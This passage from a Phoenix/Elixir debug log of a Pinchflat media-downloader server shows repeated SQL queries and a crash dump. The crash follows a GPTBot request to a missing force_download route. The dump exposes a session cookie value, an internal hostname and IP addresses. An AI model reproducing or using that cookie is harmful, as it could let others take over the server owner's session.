o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [107] 22:20:17.750 [debug] QUERY OK source="settings" db=0.2ms idle=55.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.751 [debug] QUERY OK source="settings" db=0.3ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.752 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.754 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.757 [info] Sent 200 in 10ms 22:20:18.299 [info] GET /sources/1/media/102 22:20:18.299 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102", "source_id" => "1"} Pipelines: [:browser] 22:20:18.300 [debug] QUERY OK source="media_items" db=0.3ms idle=550.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102] 22:20:18.301 [debug] QUERY OK source="tasks" db=0.2ms idle=550.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102] 22:20:18.301 [debug] QUERY OK source="sources" db=0.3ms idle=549.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.302 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=549.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [101] 22:20:18.302 [debug] QUERY OK source="settings" db=0.1ms idle=548.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.303 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.303 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.305 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:18.307 [info] Sent 200 in 7ms 22:20:18.832 [info] GET /sources/1/media/113 22:20:18.832 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "113", "source_id" => "1"} Pipelines: [:browser] 22:20:18.833 [debug] QUERY OK source="media_items" db=0.4ms idle=529.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [113] 22:20:18.834 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=530.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [113] 22:20:18.834 [debug] QUERY OK source="sources" db=0.4ms idle=529.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.834 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=529.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [112] 22:20:18.835 [debug] QUERY OK source="settings" db=0.1ms idle=138.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.835 [debug] QUERY OK source="settings" db=0.3ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.836 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.837 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:18.839 [info] Sent 200 in 7ms 22:20:19.286 [info] GET /sources/1/media/74/force_download 22:20:19.286 [debug] QUERY OK source="settings" db=0.1ms idle=452.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:19.286 [debug] QUERY OK source="settings" db=0.0ms idle=451.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:19.287 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:20:19.287 [error] #PID<0.4559.0> running PinchflatWeb.Endpoint (connection #PID<0.4558.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/74/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/74/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4558.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/74/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43528}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/74", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4559.0>, params: %{}, path_info: ["sources", "1", "media", "74", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/74"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/74/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDf4wMYnOh4kGkAAFSD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4558.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/74/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43528}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/74", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/74/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4558.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/74/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43528}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/74", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0 (truncated) 22:20:20.124 [info] GET /sources/1/media/212 22:20:20.125 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "212", "source_id" => "1"} Pipelines: [:browser] 22:20:20.126 [debug] QUERY OK source="media_items" db=0.6ms idle=838.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [212] 22:20:20.127 [debug] QUERY OK source="tasks" db=0.7ms idle=839.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [212] 22:20:20.127 [debug] QUERY OK source="sources" db=0.8ms idle=428.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:20.128 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=65.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [113] 22:20:20.129 [debug] QUERY OK source="settings" db=0.2ms idle=66.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:20.129 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:20.130 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:20.131 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:20.133 [info] Sent 200 in 8ms 22:20:21.018 [info] GET /sources 22:20:21.018 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:20:21.019 [debug] QUERY OK source="settings" db=0.2ms idle=890.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.020 [debug] QUERY OK source="settings" db=0.1ms idle=890.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.021 [debug] QUERY OK source="settings" db=0.3ms idle=890.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.022 [debug] QUERY OK source="settings" db=0.2ms idle=890.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.022 [debug] QUERY OK source="settings" db=0.1ms idle=320.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.023 [debug] QUERY OK source="sources" db=0.8ms idle=3.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:21.025 [debug] QUERY OK source="sources" db=1.4ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR 